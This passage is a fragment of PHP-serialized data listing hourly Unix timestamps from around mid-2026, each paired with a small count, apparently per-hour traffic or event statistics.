0;i:8;}i:1779616800;a:1:{i:0;i:11;}i:1779620400;a:1:{i:0;i:9;}i:1779624000;a:1:{i:0;i:8;}i:1779627600;a:1:{i:0;i:6;}i:1779631200;a:1:{i:0;i:5;}i:1779634800;a:1:{i:0;i:10;}i:1779638400;a:1:{i:0;i:112;}i:1779642000;a:1:{i:0;i:8;}i:1779645600;a:1:{i:0;i:8;}i:1779649200;a:1:{i:0;i:9;}i:1779652800;a:1:{i:0;i:7;}i:1779656400;a:1:{i:0;i:5;}i:1779660000;a:1:{i:0;i:14;}i:1779663600;a:1:{i:0;i:10;}i:1779667200;a:1:{i:0;i:9;}i:1779670800;a:1:{i:0;i:15;}i:1779674400;a:1:{i:0;i:13;}i:1779678000;a:1:{i:0;i:15;}i:1779681600;a:1:{i:0;i:14;}i:1779685200;a:1:{i:0;i:14;}i:1779688800;a:1:{i:0;i:13;}i:1779692400;a:1:{i:0;i:14;}i:1779696000;a:1:{i:0;i:15;}i:1779699600;a:1:{i:0;i:8;}i:1779703200;a:1:{i:0;i:8;}i:1779706800;a:1:{i:0;i:10;}i:1779710400;a:1:{i:0;i:10;}i:1779714000;a:1:{i:0;i:14;}i:1779717600;a:1:{i:0;i:15;}i:1779721200;a:1:{i:0;i:10;}i:1779724800;a:1:{i:0;i:24;}i:1779728400;a:1:{i:0;i:23;}i:1779732000;a:1:{i:0;i:15;}i:1779735600;a:1:{i:0;i:19;}i:1779739200;a:1:{i:0;i:14;}i:1779742800;a:1:{i:0;i:13;}i:1779746400;a:1:{i:0;i:13;}i:1779750000;a:1:{i:0;i:10;}i:1779753600;a:1:{i:0;i:9;}i:1779757200;a:1:{i:0;i:11;}i:1779760800;a:1:{i:0;i:10;}i:1779764400;a:1:{i:0;i:9;}i:1779768000;a:1:{i:0;i:16;}i:1779771600;a:1:{i:0;i:7;}i:1779775200;a:1:{i:0;i:8;}i:1779778800;a:1:{i:0;i:14;}i:1779782400;a:1:{i:0;i:10;}i:1779786000;a:1:{i:0;i:7;}i:1779789600;a:1:{i:0;i:6;}i:1779796800;a:1:{i:0;i:5;}i:1779800400;a:1:{i:0;i:9;}i:1779804000;a:1:{i:0;i:4;}i:1779807600;a:1:{i:0;i:5;}i:1779811200;a:1:{i:0;i:8;}i:1779814800;a:1:{i:0;i:5;}i:1779818400;a:1:{i:0;i:3;}i:1779822000;a:1:{i:0;i:2;}i:1779825600;a:1:{i:0;i:5;}i:1779829200;a:1:{i:0;i:4;}i:1779832800;a:1:{i:0;i:6;}i:1779836400;a:1:{i:0;i:8;}i:1779840000;a:1:{i:0;i:6;}i:1779843600;a:1:{i:0;i:5;}i:1779847200;a:1:{i:0;i:2;}i:1779850800;a:1:{i:0;i:3;}i:1779854400;a:1:{i:0;i:5;}i:1779858000;a:1:{i:0;i:5;}i:1779861600;a:1:{i:0;i:4;}i:1779865200;a:1:{i:0;i:6;}i:1779868800;a:1:{i:0;i:5;}i:1779872400;a:1:{i:0;i:7;}i:1779876000;a:1:{i:0;i:3;}i:1779879600;a:1:{i:0;i:6;}i:1779883200;a:1:{i:0;i:3;}i:1779886800;a:1:{i:0;i:8;}i:1779890400;a:1:{i:0;i:4;}i:1779894000;a:1:{i:0;i:4;}i:1779897600;a:1:{i:0;i:3;}i:1779901200;a:1:{i:0;i:1;}i:1779904800;a:1:{i:0;i:9;}i:1779908400;a:1:{i:0;i:1;}i:1779912000;a:1:{i:0;i:6;}i:1779915600;a:1:{i:0;i:2;}i:1779919200;a:1:{i:0;i:4;}i:1779922800;a:1:{i:0;i:3;}i:1779926400;a:1:{i:0;i:1;}i:1779930000;a:1:{i:0;i:4;}i:1779933600;a:1:{i:0;i:1;}i:1779937200;a:1:{i:0;i:7;}i:1779940800;a:1:{i:0;i:4;}i:1779944400;a:1:{i:0;i:7;}i:1779948000;a:1:{i:0;i:8;}i:1779951600;a:1:{i:0;i:1;}i:1779955200;a:1:{i:0;i:2;}i:1779958800;a:1:{i:0;i:10;}i:1779962400;a:1:{i:0;i:1;}i:1779966000;a:1:{i:0;i:11;}i:1779969600;a:1:{i:0;i:8;}i:1779973200;a:1:{i:0;i:9;}i:1779976800;a:1:{i:0;i:21;}i:1779980400;a:1:{i:0;i:26;}i:1779984000;a:1:{i:0;i:8;}i:1779987600;a:1:{i:0;i:22;}i:1779991200;a:1:{i:0;i:17;}i:1779994800;a:1:{i:0;i:13;}i:1779998400;a:1:{i:0;i:4;}i:1780002000;a:1:{i:0;i:5;}i:1780005600;a:1:{i:0;i:3;}i:1780012800;a:1:{i:0;i:4;}i:1780016400;a:1:{i:0;i:2;}i:1780020000;a:1:{i:0;i:3;}i:1780023600;a:1:{i:0;i:3;}i:1780027200;a:1:{i:0;i:6;}i:1780030800;a:1:{i:0;i:5;}i:1780034400;a:1:{i:0;i:5;}i:1780038000;a:1:{i:0;i:7;}i:1780041600;a:1:{i:0;i:9;}i:1780045200;a:1:{i:0;i:10;}i:1780048800;a:1:{i:0;i:8;}i:1780052400;a:1:{i:0;i:5;}i:1780056000;a:1:{i:0;i:7;}i:1780059600;a:1:{i:0;i:2;}i:1780063200;a:1:{i:0;i:3;}i:1780066800;a:1:{i:0;i:5;}i:1780070400;a:1:{i:0;i:5;}i:1780074000;a:1:{i:0;i:4;}i:1780077600;a:1:{i:0;i:4;}i:1780081200;a:1:{i:0;i:3;}i:1780084800;a:1:{i:0;i:3;}i:1780088400;a:1:{i:0;i:3;}i:1780092000;a:1:{i:0;i:9;}i:1780095600;a:1:{i:0;i:3;}i:1780099200;a:1:{i:0;i:6;}i:1780102800;a:1:{i:0;i:3;}i:1780106400;a:1:{i:0;i:1;}i:1780110000;a:1:{i:0;i:1;}i:1780113600;a:1:{i:0;i:1;}i:1780117200;a:1:{i:0;i:3;}i:1780120800;a:1:{i:0;i:4;}i:1780124400;a:1:{i:0;i:5;}i:1780128000;a:1:{i:0;i:9;}i:1780131600;a:1:{i:0;i:6;}i:1780135200;a:1:{i:0;i:2;}i:1780138800;a:1:{i:0;i:2;}i:1780142400;a:1:{i:0;i:5;}i:1780146000;a:1:{i:0;i:1;}i:1780149600;a:1:{i:0;i:5;}i:1780153200;a:1:{i:0;i:8;}i:1780156800;a:1:{i:0;i:5;}i:1780160400;a:1:{i:0;i:10;}i:1780164000;a:1:{i:0;i:1;}i:1780167600;a:1:{i:0;i:1;}i:1780171200;a:1:{i:0;i:4;}i:1780174800;a:1:{i:0;i:7;}i:1780178400;a:1:{i:0;i:2;}i:1780182000;a:1:{i:0;i:6;}i:1780185600;a:1:{i:0;i:4;}i:1780189200;a:1:{i:0;i:1;}i:1780192800;a:1:{i:0;i:5;}i:1780196400;a:1:{i:0;i:3;}i:1780200000;a:1:{i:0;i:137;}i:1780207200;a:1:{i:0;i:3;}i:1780210800;a:1:{i:0;i:2;}i:1780214400;a:1:{i:0;i:11;}i:1780218000;a:1:{i:0;i:3;}i:1780221600;a:1:{i:0;i:17;}i:1780225200;a:1:{i:0;i:1;}i:1780228800;a:1:{i:0;i:1;}i:1780232400;a:1:{i:0;i:2;}i:1780236000;a:1:{i:0;i:6;}i:1780239600;a:1:{i:0;i:1;}i:1780243200;a:1:{i:0;i:2;}i:1780250400;a:1:{i:0;i:4;}i:1780254000;a:1:{i:0;i:10;}i:1780257600;a:1:{i:0;i:4;}i:1780261200;a:1:{i:0;i:1;}i:1780264800;a:1:{i:0;i:5;}i:1780268400;a:1:{i:0;i:7;}i:1780272000;a:1:{i:0;i:2;}i:1780275600;a:1:{i:0;i:5;}i:1780279200;a:1:{i:0;i:3;}i:1780282800;a:1:{i:0;i:2;}i:1780286400;a:1:{i:0;i:3;}i:1780290000;a:1:{i:0;i:2;}i:1780293600;a:1:{i:0;i:1;}i:1780297200;a:1:{i:0;i:3;}i:1780300800;a:1:{i:0;i:6;}i:1780304400;a:1:{i:0;i:2;}i:1780308000;a:1:{i:0;i:6;}i:1780311600;a:1:{i:0;i:7;}i:1780315200;a:1:{i:0;i:3;}i:1780318800;a:1:{i:0;i:7;}i:1780322400;a:1:{i:0;i:7;}i:1780326000;a:1:{i:0;i:3;}i:1780329600;a:1:{i:0;i:9;}i:1780333200;a:1:{i:0;i:11;}i:1780336800;a:1:{i:0;i:1;}i:1780340400;a:1:{i:0;i:3;}i:1780344000;a:1:{i:0;i:2;}i:1780347600;a:1:{i:0;i:1;}i:1780351200;a:1:{i:0;i:4;}i:1780354800;a:1:{i:0;i:3;}i:1780358400;a:1:{i:0;i:4;}i:1780365600;a:1:{i:0;i:7;}i:1780369200;a:1:{i:0;i:7;}i:1780372800;a:1:{i:0;i:9;}i:1780380000;a:1:{i:0;i:6;}i:1780383600;a:1:{i:0;i:8;}i:1780387200;a:1:{i:0;i:4;}i:1780390800;a:1:{i:0;i:8;}i:1780394400;a:1:{i:0;i:8;}i:1780398000;a:1:{i:0;i:15;}i:1780401600;a:1:{i:0;i:7;}i:1780405200;a:1:{i:0;i:9;}i:1780408800;a:1:{i:0;i:1;}i:1780412400;a:1:{i:0;i:4;}i:1780416000;a:1:{i:0;i:9;}i:1780419600;a:1:{i:0;i:1;}i:1780423200;a:1:{i:0;i:4;}i:1780426800;a:1:{i:0;i:11;}i:1780430400;a:1:{i:0;i:12;}i:1780434000;a:1:{i:0;i:10;}i:1780437600;a:1:{i:0;i:4;}i:1780441200;a:1:{i:0;i:4;}i:1780444800;a:1:{i:0;i:9;}i:1780448400;a:1:{i:0;i:2;}i:1780452000;a:1:{i:0;i:13;}i:1780455600;a:1:{i:0;i:6;}i:1780459200;a:1:{i:0;i:11;}i:1780462800;a:1:{i:0;i:13;}i:1780466400;a:1:{i:0;i:5;}i:1780470000;a:1:{i:0;i:11;}i:1780473600;a:1:{i:0;i:7;}i:1780477200;a:1:{i:0;i:10;}i:1780480800;a:1:{i:0;i:18;}i:1780484400;a:1:{i:0;i:15;}i:1780488000;a:1:{i:0;i:13;}i:1780491600;a:1:{i:0;i:23;}i:1780495200;a:1:{i:0;i:28;}i:1780498800;a:1:{i:0;i:20;}i:1780502400;a:1:{i:0;i:27;}i:1780506000;a:1:{i:0;i:30;}i:1780509600;a:1:{i:0;i:13;}i:1780513200;a:1:{i:0;i:13;}i:1780516800;a:1:{i:0;i:20;}i:1780520400;a:1:{i:0;i:13;}i:1780524000;a:1:{i:0;i:5;}i:1780527600;a:1:{i:0;i:8;}i:1780531200;a:1:{i:0;i:6;}i:1780534800;a:1:{i:0;i:14;}i:1780538400;a:1:{i:0;i:35;}i:1780542000;a:1:{i:0;i:12;}i:1780545600;a:1:{i:0;i:15;}i:1780549200;a:1:{i:0;i:18;}i:1780552800;a:1:{i:0;i:22;}i:1780556400;a:1:{i:0;i:14;}i:1780560000;a:1:{i:0;i:19;}i:1780563600;a:1:{i:0;i:10;}i:1780567200;a:1:{i:0;i:25;}i:1780570800;a:1:{i:0;i:15;}i:1780574400;a:1:{i:0;i:15;}i:1780578000;a:1:{i:0;i:10;}i:1780581600;a:1:{i:0;i:10;}i:1780585200;a:1:{i:0;i:22;}i:1780588800;a:1:{i:0;i:11;}i:1780592400;a:1:{i:0;i:14;}i:1780596000;a:1:{i:0;i:14;}i:1780599600;a:1:{i:0;i:15;}i:1780603200;a:1:{i:0;i:8;}i:1780606800;a:1:{i:0;i:7;}i:1780610400;a:1:{i:0;i:8;}i:1780614000;a:1:{i:0;i:7;}i:1780617600;a:1:{i:0;i:6;}i:1780621200;a:1:{i:0;i:11;}i:1780624800;a:1:{i:0;i:10;}i:1780628400;a:1:{i:0;i:10;}i:1780632000;a:1:{i:0;i:6;}i:1780635600;a:1:{i:0;i:13;}i:1780639200;a:1:{i:0;i:8;}i:1780642800;a:1:{i:0;i:16;}i:1780646400;a:1:{i:0;i:5;}i:1780650000;a:1:{i:0;i:11;}i:1780653600;a:1:{i:0;i:8;}i:1780657200;a:1:{i:0;i:6;}i:1780660800;a:1:{i:0;i:10;}i:1780664400;a:1:{i:0;i:15;}i:1780668000;a:1:{i:0;i:17;}i:1780671600;a:1:{i:0;i:11;}i:1780675200;a:1:{i:0;i:3;}i:1780678800;a:1:{i:0;i:10;}i:1780682400;a:1:{i:0;i:15;}i:1780686000;a:1:{i:0;i:11;}i:1780689600;a:1:{i:0;i:16;}i:1780693200;a:1:{i:0;i:19;}i:1780696800;a:1:{i:0;i:13;}i:1780700400;a:1:{i:0;i:4;}i:1780704000;a:1:{i:0;i:4;}i:1780707600;a:1:{i:0;i:2;}i:1780711200;a:1:{i:0;i:1;}i:1780714800;a:1:{i:0;i:9;}i:1780718400;a:1:{i:0;i:8;}i:1780722000;a:1:{i:0;i:2;}i:1780725600;a:1:{i:0;i:5;}i:1780729200;a:1:{i:0;i:7;}i:1780732800;a:1:{i:0;i:3;}i:1780736400;a:1:{i:0;i:3;}i:1780740000;a:1:{i:0;i:2;}i:1780743600;a:1:{i:0;i:2;}i:1780747200;a:1:{i:0;i:3;}i:1780750800;a:1:{i:0;i:6;}i:1780754400;a:1:{i:0;i:3;}i:1780758000;a:1:{i:0;i:4;}i:1780761600;a:1:{i:0;i:7;}i:1780765200;a:1:{i:0;i:14;}i:1780768800;a:1:{i:0;i:5;}i:1780772400;a:1:{i:0;i:5;}i:1780776000;a:1:{i:0;i:6;}i:1780779600;a:1:{i:0;i:4;}i:1780783200;a:1:{i:0;i:3;}i:1780786800;a:1:{i:0;i:1;}i:1780790400;a:1:{i:0;i:1;}i:1780794000;a:1:{i:0;i:12;}i:1780797600;a:1:{i:0;i:3;}i:1780801200;a:1:{i:0;i:9;}i:1780804800;a:1:{i:0;i:9;}i:1780808400;a:1:{i:0;i:2;}i:1780812000;a:1:{i:0;i:5;}i:1780815600;a:1:{i:0;i:7;}i:1780822800;a:1:{i:0;i:6;}i:1780826400;a:1:{i:0;i:2;}i:1780830000;a:1:{i:0;i:4;}i:1780833600;a:1:{i:0;i:2;}i:1780837200;a:1:{i:0;i:3;}i:1780840800;a:1:{i:0;i:2;}i:1780844400;a:1:{i:0;i:1;}i:1780848000;a:1:{i:0;i:6;}i:1780851600;a:1:{i:0;i:5;}i:1780855200;a:1:{i:0;i:5;}i:1780858800;a:1:{i:0;i:4;}i:1780862400;a:1:{i:0;i:6;}i:1780866000;a:1:{i:0;i:4;}i:1780869600;a:1:{i:0;i:5;}i:1780873200;a:1:{i:0;i:3;}i:1780876800;a:1:{i:0;i:5;}i:1780880400;a:1:{i:0;i:11;}i:1780884000;a:1:{i:0;i:5;}i:1780887600;a:1:{i:0;i:4;}i:1780891200;a:1:{i:0;i:8;}i:1780894800;a:1:{i:0;i:16;}i:1780898400;a:1:{i:0;i:12;}i:1780902000;a:1:{i:0;i:3;}i:1780905600;a:1:{i:0;i:4;}i:1780909200;a:1:{i:0;i:17;}i:1780912800;a:1:{i:0;i:5;}i:1780916400;a:1:{i:0;i:1;}i:1780920000;a:1:{i:0;i:8;}i:1780923600;a:1:{i:0;i:15;}i:1780927200;a:1:{i:0;i:17;}i:1780930800;a:1:{i:0;i:6;}i:1780934400;a:1:{i:0;i:6;}i:1780938000;a:1:{i:0;i:9;}i:1780941600;a:1:{i:0;i:7;}i:1780945200;a:1:{i:0;i:9;}i:1780948800;a:1:{i:0;i:6;}i:1780952400;a:1:{i:0;i:3;}i:1780956000;a:1:{i:0;i:5;}i:1780959600;a:1:{i:0;i:4;}i:1780963200;a:1:{i:0;i:4;}i:1780966800;a:1:{i:0;i:6;}i:1780970400;a:1:{i:0;i:21;}i:1780974000;a:1:{i:0;i:16;}i:1780977600;a:1:{i:0;i:16;}i:1780981200;a:1:{i:0;i:7;}i:1780984800;a:1:{i:0;i:20;}i:1780988400;a:1:{i:0;i:9;}i:1780992000;a:1:{i:0;i:16;}i:1780995600;a:1:{i:0;i:20;}i:1780999200;a:1:{i:0;i:13;}i:1781002800;a:1:{i:0;i:11;}i:1781006400;a:1:{i:0;i:5;}i:1781010000;a:1:{i:0;i:4;}i:1781013600;a:1:{i:0;i:12;}i:1781017200;a:1:{i:0;i:9;}i:1781020800;a:1:{i:0;i:17;}i:1781024400;a:1:{i:0;i:11;}i:1781028000;a:1:{i:0;i:5;}i:1781031600;a:1:{i:0;i:11;}i:1781035200;a:1:{i:0;i:23;}i:1781038800;a:1:{i:0;i:9;}i:1781042400;a:1:{i:0;i:9;}i:1781046000;a:1:{i:0;i:9;}i:1781049600;a:1:{i:0;i:6;}i:1781053200;a:1:{i:0;i:11;}i:1781056800;a:1:{i:0;i:6;}i:1781060400;a:1:{i:0;i:7;}i:1781064000;a:1:{i:0;i:11;}i:1781067600;a:1:{i:0;i:13;}i:1781071200;a:1:{i:0;i:4;}i:1781074800;a:1:{i:0;i:15;}i:1781078400;a:1:{i:0;i:7;}i:1781082000;a:1:{i:0;i:5;}i:1781085600;a:1:{i:0;i:7;}i:1781089200;a:1:{i:0;i:9;}i:1781092800;a:1:{i:0;i:14;}i:1781096400;a:1:{i:0;i:13;}i:1781100000;a:1:{i:0;i:7;}i:1781103600;a:1:{i:0;i:4;}i:1781107200;a:1:{i:0;i:8;}i:1781110800;a:1:{i:0;i:10;}i:1781114400;a:1:{i:0;i:4;}i:1781118000;a:1:{i:0;i:9;}i:1781121600;a:1:{i:0;i:17;}i:1781125200;a:1:{i:0;i:5;}i:1781128800;a:1:{i:0;i:11;}i:1781132400;a:1:{i:0;i:10;}i:1781136000;a:1:{i:0;i:9;}i:1781139600;a:1:{i:0;i:7;}i:1781143200;a:1:{i:0;i:7;}i:1781146800;a:1:{i:0;i:6;}i:1781150400;a:1:{i:0;i:9;}i:1781154000;a:1:{i:0;i:16;}i:1781157600;a:1:{i:0;i:164;}i:1781161200;a:1:{i:0;i:11;}i:1781164800;a:1:{i:0;i:11;}i:1781168400;a:1:{i:0;i:8;}i:1781172000;a:1:{i:0;i:15;}i:1781175600;a:1:{i:0;i:12;}i:1781179200;a:1:{i:0;i:14;}i:1781182800;a:1:{i:0;i:7;}i:1781186400;a:1:{i:0;i:15;}i:1781190000;a:1:{i:0;i:9;}i:1781193600;a:1:{i:0;i:7;}i:1781197200;a:1:{i:0;i:21;}i:1781200800;a:1:{i:0;i:9;}i:1781204400;a:1:{i:0;i:19;}i:1781208000;a:1:{i:0;i:12;}i:1781211600;a:1:{i:0;i:9;}i:1781215200;a:1:{i:0;i:13;}i:1781218800;a:1:{i:0;i:9;}i:1781222400;a:1:{i:0;i:12;}i:1781226000;a:1:{i:0;i:7;}i:1781229600;a:1:{i:0;i:13;}i:1781233200;a:1:{i:0;i:19;}i:1781236800;a:1:{i:0;i:8;}i:1781240400;a:1:{i:0;i:7;}i:1781244000;a:1:{i:0;i:7;}i:1781247600;a:1:{i:0;i:11;}i:1781251200;a:1:{i:0;i:8;}i:1781254800;a:1:{i:0;i:12;}i:1781258400;a:1:{i:0;i:10;}i:1781262000;a:1:{i:0;i:7;}i:1781265600;a:1:{i:0;i:8;}i:1781269200;a:1:{i:0;i:7;}i:1781272800;a:1:{i:0;i:14;}i:1781276400;a:1:{i:0;i:6;}i:1781280000;a:1:{i:0;i:17;}i:1781283600;a:1:{i:0;i:11;}i:1781287200;a:1:{i:0;i:7;}i:1781290800;a:1:{i:0;i:3;}i:1781294400;a:1:{i:0;i:3;}i:1781298000;a:1:{i:0;i:6;}i:1781301600;a:1:{i:0;i:3;}i:1781308800;a:1:{i:0;i:6;}i:1781312400;a:1:{i:0;i:4;}i:1781316000;a:1:{i:0;i:5;}i:1781319600;a:1:{i:0;i:3;}i:1781323200;a:1:{i:0;i:3;}i:1781326800;a:1:{i:0;i:12;}i:1781330400;a:1:{i:0;i:2;}i:1781334000;a:1:{i:0;i:5;}i:1781341200;a:1:{i:0;i:7;}i:1781344800;a:1:{i:0;i:11;}i:1781348400;a:1:{i:0;i:8;}i:1781352000;a:1:{i:0;i:11;}i:1781355600;a:1:{i:0;i:12;}i:1781359200;a:1:{i:0;i:14;}i:1781362800;a:1:{i:0;i:12;}i:1781366400;a:1:{i:0;i:9;}i:1781370000;a:1:{i:0;i:3;}i:1781373600;a:1:{i:0;i:7;}i:1781377200;a:1:{i:0;i:2;}i:1781380800;a:1:{i:0;i:9;}i:1781384400;a:1:{i:0;i:8;}i:1781388000;a:1:{i:0;i:7;}i:1781391600;a:1:{i:0;i:11;}i:1781395200;a:1:{i:0;i:5;}i:1781398800;a:1:{i:0;i:7;}i:1781402400;a:1:{i:0;i:8;}i:1781406000;a:1:{i:0;i:5;}i:1781409600;a:1:{i:0;i:8;}i:1781413200;a:1:{i:0;i:17;}i:1781416800;a:1:{i:0;i:6;}i:1781420400;a:1:{i:0;i:5;}i:1781424000;a:1:{i:0;i:17;}i:1781427600;a:1:{i:0;i:12;}i:1781431200;a:1:{i:0;i:6;}i:1781434800;a:1:{i:0;i:4;}i:1781438400;a:1:{i:0;i:7;}i:1781442000;a:1:{i:0;i:7;}i:1781445600;a:1:{i:0;i:4;}i:1781449200;a:1:{i:0;i:6;}i:1781452800;a:1:{i:0;i:14;}i:1781456400;a:1:{i:0;i:12;}i:1781460000;a:1:{i:0;i:7;}i:1781463600;a:1:{i:0;i:9;}i:1781467200;a:1:{i:0;i:4;}i:1781470800;a:1:{i:0;i:7;}i:1781474400;a:1:{i:0;i:7;}i:1781478000;a:1:{i:0;i:7;}i:1781481600;a:1:{i:0;i:6;}i:1781485200;a:1:{i:0;i:3;}i:1781488800;a:1:{i:0;i:6;}i:1781492400;a:1:{i:0;i:15;}i:1781496000;a:1:{i:0;i:6;}i:1781499600;a:1:{i:0;i:3;}i:1781503200;a:1:{i:0;i:12;}i:1781506800;a:1:{i:0;i:9;}i:1781510400;a:1:{i:0;i:3;}i:1781514000;a:1:{i:0;i:5;}i:1781517600;a:1:{i:0;i:5;}i:1781521200;a:1:{i:0;i:6;}i:1781524800;a:1:{i:0;i:1;}i:1781528400;a:1:{i:0;i:3;}i:1781532000;a:1:{i:0;i:5;}i:1781535600;a:1:{i:0;i:10;}i:1781539200;a:1:{i:0;i:13;}i:1781542800;a:1:{i:0;i:7;}i:1781546400;a:1:{i:0;i:10;}i:1781550000;a:1:{i:0;i:7;}i:1781553600;a:1:{i:0;i:11;}i:1781557200;a:1:{i:0;i:12;}i:1781560800;a:1:{i:0;i:10;}i:1781564400;a:1:{i:0;i:7;}i:1781568000;a:1:{i:0;i:10;}i:1781571600;a:1:{i:0;i:19;}i:1781575200;a:1:{i:0;i:15;}i:1781578800;a:1:{i:0;i:16;}i:1781582400;a:1:{i:0;i:17;}i:1781586000;a:1:{i:0;i:16;}i:1781589600;a:1:{i:0;i:16;}i:1781593200;a:1:{i:0;i:9;}i:1781596800;a:1:{i:0;i:10;}i:1781600400;a:1:{i:0;i:6;}i:1781604000;a:1:{i:0;i:10;}i:1781607600;a:1:{i:0;i:9;}i:1781611200;a:1:{i:0;i:13;}i:1781614800;a:1:{i:0;i:20;}i:1781618400;a:1:{i:0;i:14;}i:1781622000;a:1:{i:0;i:14;}i:1781625600;a:1:{i:0;i:6;}i:1781629200;a:1:{i:0;i:9;}i:1781632800;a:1:{i:0;i:8;}i:1781636400;a:1:{i:0;i:10;}i:1781640000;a:1:{i:0;i:6;}i:1781643600;a:1:{i:0;i:9;}i:1781647200;a:1:{i:0;i:7;}i:1781650800;a:1:{i:0;i:9;}i:1781654400;a:1:{i:0;i:20;}i:1781658000;a:1:{i:0;i:15;}i:1781661600;a:1:{i:0;i:7;}i:1781665200;a:1:{i:0;i:13;}i:1781668800;a:1:{i:0;i:13;}i:1781672400;a:1:{i:0;i:9;}i:1781676000;a:1:{i:0;i:20;}i:1781679600;a:1:{i:0;i:17;}i:1781683200;a:1:{i:0;i:15;}i:1781686800;a:1:{i:0;i:12;}i:1781690400;a:1:{i:0;i:7;}i:1781694000;a:1:{i:0;i:13;}i:1781697600;a:1:{i:0;i:17;}i:1781701200;a:1:{i:0;i:12;}i:1781704800;a:1:{i:0;i:18;}i:1781708400;a:1:{i:0;i:11;}i:1781712000;a:1:{i:0;i:19;}i:1781715600;a:1:{i:0;i:8;}i:1781719200;a:1:{i:0;i:16;}i:1781722800;a:1:{i:0;i:13;}i:1781726400;a:1:{i:0;i:3;}i:1781730000;a:1:{i:0;i:13;}i:1781733600;a:1:{i:0;i:5;}i:1781737200;a:1:{i:0;i:11;}i:1781740800;a:1:{i:0;i:13;}i:1781744400;a:1:{i:0;i:18;}i:1781748000;a:1:{i:0;i:15;}i:1781751600;a:1:{i:0;i:9;}i:1781755200;a:1:{i:0;i:6;}i:1781758800;a:1:{i:0;i:12;}i:1781762400;a:1:{i:0;i:3;}i:1781766000;a:1:{i:0;i:12;}i:1781769600;a:1:{i:0;i:8;}i:1781773200;a:1:{i:0;i:10;}i:1781776800;a:1:{i:0;i:16;}i:1781780400;a:1:{i:0;i:4;}i:1781784000;a:1:{i:0;i:19;}i:1781787600;a:1:{i:0;i:7;}i:1781791200;a:1:{i:0;i:10;}i:1781794800;a:1:{i:0;i:7;}i:1781798400;a:1:{i:0;i:16;}i:1781802000;a:1:{i:0;i:6;}i:1781805600;a:1:{i:0;i:1;}i:1781809200;a:1:{i:0;i:13;}i:1781812800;a:1:{i:0;i:3;}i:1781816400;a:1:{i:0;i:7;}i:1781820000;a:1:{i:0;i:14;}i:1781823600;a:1:{i:0;i:5;}i:1781827200;a:1:{i:0;i:3;}i:1781830800;a:1:{i:0;i:9;}i:1781834400;a:1:{i:0;i:5;}i:1781838000;a:1:{i:0;i:5;}i:1781841600;a:1:{i:0;i:7;}i:1781845200;a:1:{i:0;i:8;}i:1781848800;a:1:{i:0;i:1;}i:1781852400;a:1:{i:0;i:21;}i:1781856000;a:1:{i:0;i:12;}i:1781859600;a:1:{i:0;i:3;}i:1781863200;a:1:{i:0;i:17;}i:1781866800;a:1:{i:0;i:4;}i:1781870400;a:1:{i:0;i:11;}i:1781874000;a:1:{i:0;i:4;}i:1781877600;a:1:{i:0;i:4;}i:1781881200;a:1:{i:0;i:10;}i:1781884800;a:1:{i:0;i:5;}i:1781888400;a:1:{i:0;i:3;}i:1781892000;a:1:{i:0;i:5;}i:1781895600;a:1:{i:0;i:5;}i:1781902800;a:1:{i:0;i:3;}i:1781906400;a:1:{i:0;i:1;}i:1781910000;a:1:{i:0;i:5;}i:1781913600;a:1:{i:0;i:6;}i:1781917200;a:1:{i:0;i:5;}i:1781920800;a:1:{i:0;i:11;}i:1781924400;a:1:{i:0;i:7;}i:1781928000;a:1:{i:0;i:21;}i:1781931600;a:1:{i:0;i:8;}i:1781935200;a:1:{i:0;i:17;}i:1781938800;a:1:{i:0;i:25;}i:1781942400;a:1:{i:0;i:11;}i:1781946000;a:1:{i:0;i:14;}i:1781949600;a:1:{i:0;i:14;}i:1781953200;a:1:{i:0;i:8;}i:1781956800;a:1:{i:0;i:8;}i:1781960400;a:1:{i:0;i:15;}i:1781964000;a:1:{i:0;i:9;}i:1781967600;a:1:{i:0;i:9;}i:1781971200;a:1:{i:0;i:10;}i:1781974800;a:1:{i:0;i:10;}i:1781978400;a:1:{i:0;i:6;}i:1781982000;a:1:{i:0;i:6;}i:1781985600;a:1:{i:0;i:4;}i:1781989200;a:1:{i:0;i:6;}i:1781992800;a:1:{i:0;i:6;}i:1781996400;a:1:{i:0;i:3;}i:1782000000;a:1:{i:0;i:8;}i:1782003600;a:1:{i:0;i:18;}i:1782007200;a:1:{i:0;i:4;}i:1782010800;a:1:{i:0;i:3;}i:1782014400;a:1:{i:0;i:7;}i:1782018000;a:1:{i:0;i:9;}i:1782021600;a:1:{i:0;i:16;}i:1782025200;a:1:{i:0;i:41;}i:1782028800;a:1:{i:0;i:4;}i:1782032400;a:1:{i:0;i:12;}i:1782036000;a:1:{i:0;i:14;}i:1782039600;a:1:{i:0;i:12;}i:1782043200;a:1:{i:0;i:13;}i:1782046800;a:1:{i:0;i:11;}i:1782050400;a:1:{i:0;i:9;}i:1782054000;a:1:{i:0;i:20;}i:1782057600;a:1:{i:0;i:14;}i:1782061200;a:1:{i:0;i:9;}i:1782064800;a:1:{i:0;i:14;}i:1782068400;a:1:{i:0;i:4;}i:1782072000;a:1:{i:0;i:11;}i:1782075600;a:1:{i:0;i:3;}i:1782079200;a:1:{i:0;i:7;}i:1782082800;a:1:{i:0;i:6;}i:1782086400;a:1:{i:0;i:1;}i:1782090000;a:1:{i:0;i:8;}i:1782093600;a:1:{i:0;i:7;}i:1782100800;a:1:{i:0;i:10;}i:1782104400;a:1:{i:0;i:10;}i:1782108000;a:1:{i:0;i:5;}i:1782111600;a:1:{i:0;i:3;}i:1782115200;a:1:{i:0;i:9;}i:1782118800;a:1:{i:0;i:22;}i:1782122400;a:1:{i:0;i:4;}i:1782126000;a:1:{i:0;i:6;}i:1782129600;a:1:{i:0;i:7;}i:1782133200;a:1:{i:0;i:6;}i:1782136800;a:1:{i:0;i:4;}i:1782140400;a:1:{i:0;i:5;}i:1782144000;a:1:{i:0;i:1;}i:1782154800;a:1:{i:0;i:4;}i:1782158400;a:1:{i:0;i:4;}i:1782162000;a:1:{i:0;i:2;}i:1782165600;a:1:{i:0;i:1;}i:1782169200;a:1:{i:0;i:1;}i:1782172800;a:1:{i:0;i:6;}i:1782176400;a:1:{i:0;i:9;}i:1782180000;a:1:{i:0;i:7;}i:1782183600;a:1:{i:0;i:6;}i:1782187200;a:1:{i:0;i:2;}i:1782190800;a:1:{i:0;i:4;}i:1782194400;a:1:{i:0;i:4;}i:1782198000;a:1:{i:0;i:1;}i:1782201600;a:1:{i:0;i:10;}i:1782205200;a:1:{i:0;i:3;}i:1782208800;a:1:{i:0;i:9;}i:1782212400;a:1:{i:0;i:3;}i:1782216000;a:1:{i:0;i:5;}i:1782219600;a:1:{i:0;i:3;}i:1782223200;a:1:{i:0;i:11;}i:1782226800;a:1:{i:0;i:11;}i:1782230400;a:1:{i:0;i:9;